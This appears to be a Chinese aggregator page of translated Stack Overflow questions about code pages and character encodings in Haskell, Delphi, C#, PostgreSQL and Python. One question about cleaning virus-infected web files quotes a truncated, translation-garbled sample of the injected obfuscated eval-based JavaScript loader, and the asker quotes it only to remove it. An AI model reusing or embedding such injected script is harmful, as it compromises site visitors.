标签: codepages

让Haskell程序在wine下假定UTF8语言环境

我试图在wine上使用GHC来构建我的一个用于Windows的Haskell应用程序.到目前为止,这种方法运行良好,但我仍然无法运行我的测试套件,该套件旨在以UTF8语言环境运行(LANG=C.utf8例如).

不幸的是,在wine下,Haskell运行时始终认为我想使用非unicode代码页:

$ wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP850
$ LANG=C.utf8 wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP437
$ LC_ALL=C.utf8 wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP437
Run Code Online (Sandbox Code Playgroud)

除了更改实际代码以设置所有句柄的编码:我如何使Haskell程序在这里使用UTF-8(即代码页65001)?

windows haskell wine character-encoding codepages

7
推荐指数
1
解决办法
362
查看次数

以编程方式更改Windows XP中的默认代码页?(来自德尔福)

任何人都可以建议如何以编程方式更改默认的Windows XP代码页(我是从Delphi这样做的)?(这相当于进入控制面板 - >区域设置 - >非Unicode应用程序的语言).

在这种情况下,我想切换到中文(PRC),所以写入以下注册表字符串:HKLM\SYSTEM\CurrentControlSet\Control\Nls\CodePage\ACP = 936 MACCP = 10008 OEMCP = 936

(这正是在控制面板中更改非Unicode代码页下拉的原因).必须有另一个我需要更改的设置 - 我更喜欢使用Win API调用(如果可用)而不是自己写入注册表.

我也试过设置HKLM\SYSTEM\CurrentControlSet\Control\Nls\Language\Default = 0804(中华人民共和国)无济于事.

我不想更改"区域设置"本身,因为这也会更改时间/日期设置,分隔符等.

这是因为我正在使用需要渲染中文字符的ANSI应用程序,而我正在编写一个工具来自动切换系统显示字符(同时保留UI的其他方面完整).

谢谢!

邓肯

delphi localization codepages

6
推荐指数
1
解决办法
6030
查看次数

什么代码页将'ç'编码为'?º'(0x3f 0xba)

今天我收到了一个客户的文件,我必须阅读,但它包含奇怪的字符.使用已知名称,我可以猜出一些字符的含义.

例如:

Realname  | Encoded as   | sign  | hex
----------|--------------|-------|-------
Françios  | Fran?ºios    | ç     | 3f ba
André     | Andr??       | é     | 3f 3f
Hélène    | H??l?¿ne     | è     | 3f bf
etc.
Run Code Online (Sandbox Code Playgroud)
  • 我已经尝试了所有代码页(已知为.Net)来导入文件,看看它们是否包含我所知道的单词.但没有代码页让我满意.
  • 在Notepad ++中打开文件认为它是ANSI,并且还显示不需要的字符.(但它有一个有用的十六进制编辑器插件).
  • 其他文件(来自同一用户和zip文件)以UTF-8编码.

从我收到文件的那个人,我不能指望帮助.(使用谷歌翻译)他向我明确表示他发现创建文件非常困难,而且他正在使用我无法访问的软件(我相信SAP).

有没有其他方法我可以找到他刚刚发送给我的文件的编码?

.net globalization encoding codepages

6
推荐指数
1
解决办法
1298
查看次数

文件是否可以在不知道C#编码的情况下进行小的更改后读写?

我需要从FTP下载5000多个文件,即.html和.php文件.我需要读取每个文件并删除一些被病毒放在那里的东西并将其保存回FTP.

我正在使用以下代码:

string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}
Run Code Online (Sandbox Code Playgroud)

我手工下载了一些文件,有些<meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />但我不想假设它们都是这样的.我用Notepad ++检查过,一些文本文件是ANSI.PHP似乎是UTF-8和HTML Windows-1250但我宁愿在尝试修复它时确保不破坏文件.那么有没有一种方法我不必知道/猜测编码,它会让我从网页中删除病毒链接?

编辑.我正试图找到并删除这样的东西:

var s = new String(); try {document.rvwrew.vewr} catch(q){r = 1; c = String;} if(r && document.createTextNode)u = 2; e = eval; m = [4.5*u ,18/U,52.5*U,204/U,16*U,80/U,50*U,222/U,49.5*U,234/U,54.5*U,202/U,55*U,232 /u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u ,33*U,242/U,42*U,194/U,51.5*U,156/U,48.5*U,218/U,50.5*U,80/U,19.5*U,196/U,55.5*U,200/U,60.5*U,78/U,20.5*U,182/U,24*U,186/U,20.5*U,246/U,4.5*U,18/U,4.5*U ,210/U,51*U,228/U,48.5*U,218/U,50.5*U,228/U,20*U,82/U,29.5*U,18/U,4.5*U,250 /u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u ,49.5*U,234/U,54.5*U,202/U,55*U,232/U,23*U,238/U,57*U,210/U,58*U,202/U,20*U,68/U,30*U,210/U,51*U,228/U,48.5*U,218/U,50.5*U,64/U,57.5*U,228/U,49.5*U ,122/U,19.5*U,208/U,58*U,232/U,56*U,116/U,23.5*U,94/U,51*U,210/U,49*U,202 /u,57*u,194/u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u ,50.5*U,218/U,56*U,94/U,57.5*U,232/U,48.5*U,232/U,23*U,224/U,52*U,224/U,19.5*U,64/U,59.5*U,210/U,50*U,232/U,52*U,122/U,19.5*U,98/U,24*U,78/U,16*U,208/U,50.5*U,210/U,51.5*U,208/U,58*U,122/U,19.5*U,98/U,24*U,78/U,16*你,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u,59*u,210/u,57.5*u,210/u,49*u, 210/U,54*U,210/U,58*U,242/U,29*U,208/U,52.5*U,200/U,50*U,202/U,55*U,118/U,56*U,222/U,57.5*U,210/U,58*U,210/U,55.5*U,220/U,29*U,194/U,49*U,230/U, 55.5*U,216/U,58.5*U,232/U,50.5*U,118/U,54*U,202/U,51*U,232/U,29*U,96/U,29.5*U,232/U,55.5*U,224/U,29*U,96/U,29.5*U,78/U,31*U,120/U,23.5*U,210/U,51*U, 228/U,48.5*U,218/U,50.5*U,124/U,17*U,82/U,29.5*U,18/U,4.5*U,250/U,4.5*U,18/U,51*U,234/U,55*U,198/U,58*U,210/U,55.5*U,220/U,16*U,210/U,51*U,228/U, …

c# encoding codepages

6
推荐指数
1
解决办法
211
查看次数

psql shell使用代码页850,windows使用1252.如何解决更改控制台代码页?

我已经安装了PostgreSQL,想要建立一个新的数据库,一切都很顺利,直到我尝试使用€符号.然后我知道,我在开始时得到的警告是有原因的.

我在启动psql shell时遇到的警告是:

WARNING: Console code page (850) differs from Windows code page (1252)
         8-bit characters might not work correctly. See psql reference
         page "Notes for Windows users" for details.
Run Code Online (Sandbox Code Playgroud)

所以我会按照我的说法去做(来自PostgreSQL Documentation 9.2 - psql):


Windows用户注意事项

psql构建为"控制台应用程序".由于Windows控制台窗口使用的编码与系统的其他部分不同,因此在psql中使用8位字符时必须特别小心.如果psql检测到有问题的控制台代码页,它将在启动时发出警告.要更改控制台代码页,需要做两件事:

  • 通过输入cmd.exe/c chcp 1252设置代码页.(1252是适合德语的代码页;请将其替换为您的值.)如果您使用的是Cygwin,则可以将此命令放在/ etc/profile中.
  • 将控制台字体设置为Lucida Console,因为光栅字体不适用于ANSI代码页.

当我键入cmd.exe/c chcp 1252命令时,出现语法错误.所以psql,无法识别命令.出于绝望,我试图在cmd.exe本身做一些事情,也不起作用.

我在Windows 7 - 64Bit工作.

windows postgresql cmd localization codepages

6
推荐指数
2
解决办法
1万
查看次数

使用C#进行UTF-8转换为ANSI

我是一名.NET开发人员,并被要求做一个将html文件转换为C#中的ANSI的应用程序.

ANSI是必需的,因为转换后的文件将在Visual Fox Pro应用程序上运行.

基本逻辑准备就绪,问题在于转换本身.

我试过这段代码:http://social.msdn.microsoft.com/Forums/pt-BR/026ddda3-9bd1-4502-b445-e2a1cc88345d/convert-file-from-utf8-to-ansi?forum=csharplanguage但是当我在editplus上检查它时,文件仍然没有转换为ANSI,甚至最糟糕的是缩进它都搞砸了.

我应该做的是转换像editplus这样的文件,它保留文档缩进并可以将任何文件从UTF8转换为ANSI.

重点是我正在使用数百个html文件,因此我不能只使用文本编辑器逐个完成.

如何进行转换?

有没有办法转换它并像editplus一样保留缩进?

对于特殊字符,例如:"ã,ão,é,í......"我在转换前对其进行了更正.这是正确的方法吗?

c# utf-8 character-encoding codepages

6
推荐指数
1
解决办法
2万
查看次数

为什么有些字符不能在Python的IDLE中输入?

我不知道如何解释这个,实际上我正在寻找解释,所以我只想提一些步骤来重现这个问题.希望有人能够理解和阐述:

  1. Windows 8.1上的Python 3.5.0.(但无论Python和Windows版本如何,这都应该是可重现的.)
  2. 安装波斯标准键盘.(它可以从这里下载.再次我确定问题不仅限于这个特定的键盘,并且在其他一些语言中有一些字符具有相同的问题.只是为了重现性.)
  3. 打开IDLE,将键盘的布局设置为波斯语并键入一些字符.
  4. 对于某些字符,如'Â'(Shift + h).它们打字非常好.
  5. 对于其他一些角色,比如'ی'(d).它们被转换为类似的字符,在本例中为'ي'(注意字形下的小点).
  6. 有些字符无法输入.例如'﷼'(Shift + 4).这些输入为'?' 在IDLE.
  7. 以上所有字符都可以在我安装的几乎任何其他程序中输入.其中一个最简单的是notepad.exe.
  8. 我们可以在另一个程序中输入相同的字符,例如notepad.exe,然后将它们复制并粘贴到IDLE中.这表明IDLE支持unicode字符,只是不能输入它们.

我是IDLE的粉丝.它是标准Python安装附带的轻量级IDE,我不想因此而切换到另一个IDE.但对于我来说,以上是最讨厌IDLE的事情.每当我需要编写一个包含波斯语字符的程序时,我不能相信IDLE正确输入它们,我必须打开其他程序并使用复制粘贴方法.

我正在寻找的是:

  • 为什么会这样?问题出在哪儿?
  • 有没有解决方法?
  • 与此问题直接相关的任何文档或错误报告.

此信息也可能有所帮助:

>>> import locale
>>> locale.getdefaultlocale()
('en_US', 'cp1256')
>>> locale.getpreferredencoding()
'cp1256'
>>> locale.getlocale()
('English_United States', '1252')
>>> 
>>> import sys
>>> sys.getdefaultencoding()
'utf-8'
Run Code Online (Sandbox Code Playgroud)

谢谢.

更新:

请参阅下面的前三条评论.似乎这个问题是由在tkinter应用程序中键入时使用WindowsBestFit映射引起的.

为了测试它是否在python/tkinter绑定或tcl/tk本身中的一些错误配置,我下载并安装了Tkabber.这是一个用Tcl/Tk编写的应用程序.那么,存在完全相同的问题,即我不能输入上面的字符,但可以复制和粘贴它们.所以我的结论是问题的根源在于tcl/tk本身而不是IDLE/Python/tkinter.

我的问题仍然存在.

unicode tk-toolkit tkinter codepages python-idle

6
推荐指数
1
解决办法
1102
查看次数

如何在htmlentities符号中转换阿拉伯字母?

我需要在htmlentities符号中转换阿拉伯字母.代码页:ISO-8859-1.

سك - 这是阿拉伯语符号.

htmlentities("??")
Run Code Online (Sandbox Code Playgroud)

收益:

سÙ? 
Run Code Online (Sandbox Code Playgroud)

如何从这个符号中获取html实体&#1587;&#1603;

php codepages html-entities

5
推荐指数
1
解决办法
2416
查看次数

sys.stdout.encoding、locale.getpreferredencoding() 和 sys.getdefaultencoding() 之间有什么区别?

我对 python 很陌生,对这种编码的东西很困惑。到目前为止,我已经阅读了以下类型的“编码”:

import sys
import locale

print (sys.stdout.encoding)
print (locale.getpreferredencoding())
print (sys.getdefaultencoding())
Run Code Online (Sandbox Code Playgroud)

输出:

utf8
cp1252
utf-8
Run Code Online (Sandbox Code Playgroud)

有什么不同?

python encoding locale codepages sys

5
推荐指数
1
解决办法
557
查看次数

Xamarin UI 测试“1 不是受支持的代码页。”

尝试运行 xamarin UI 测试时,我的计算机出现问题。这是一个 xamarin 表单项目,我正在 Android 设备上构建和测试。我正在使用 Visual Studio Community 2017 和 Windows。

我在自己的项目和微软提供的示例项目中都进行了尝试: https: //developer.xamarin.com/samples/test-cloud/Quickstarts/CreditCardValidator.Droid/

据我所知,相同的代码可以在其他几台计算机上运行,​​并且具有相同的设置。

我得到的错误是这样的:

System.ArgumentException : 1 is not a supported code page.
Parameter name: codepage
Run Code Online (Sandbox Code Playgroud)

这是堆栈跟踪的结尾:

at System.Text.Encoding.GetEncoding(Int32 codepage)
at ICSharpCode.SharpZipLib.Zip.ZipFile.ReadEntries()
at ICSharpCode.SharpZipLib.Zip.ZipFile..ctor(FileStream file)
at Xamarin.UITest.Shared.Android.ApkFile.GetFileBytes(String fileName)
Run Code Online (Sandbox Code Playgroud)

调试时我可以到达的最后一行是这样的:

app = ConfigureApp.Android.Debug().ApkFile(appPath).StartApp(mode);我检查了它是 apk 的正确路径,并且“模式”是 AppDataMode.Clear。

我尝试更改我能找到的任何选项,例如项目属性或 Visual Studio 和 Windows 设置。一切都是最新的,我尝试了清理/构建/重新启动视觉工作室的每种组合。我查看过HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage,没有发现任何与工作机器不同的地方。在搜索过程中,我没有找到任何能让我更接近解决方案的东西。这个错误似乎并不常见。OEMCP(原始设备制造商代码页)在注册表中设置为 437,但在代码中记录 TextInfo.OEMCodePage 给出“1”,这就是错误的描述。也许这有帮助。

Thread.CurrentThread.CurrentCulture.TextInfo.OEMCodePage == 1

我的下一步是重新安装 Visual Studio 或 Windows。

c# codepages xamarin.forms xamarin.uitest visual-studio-2017

5
推荐指数
1
解决办法
1464
查看次数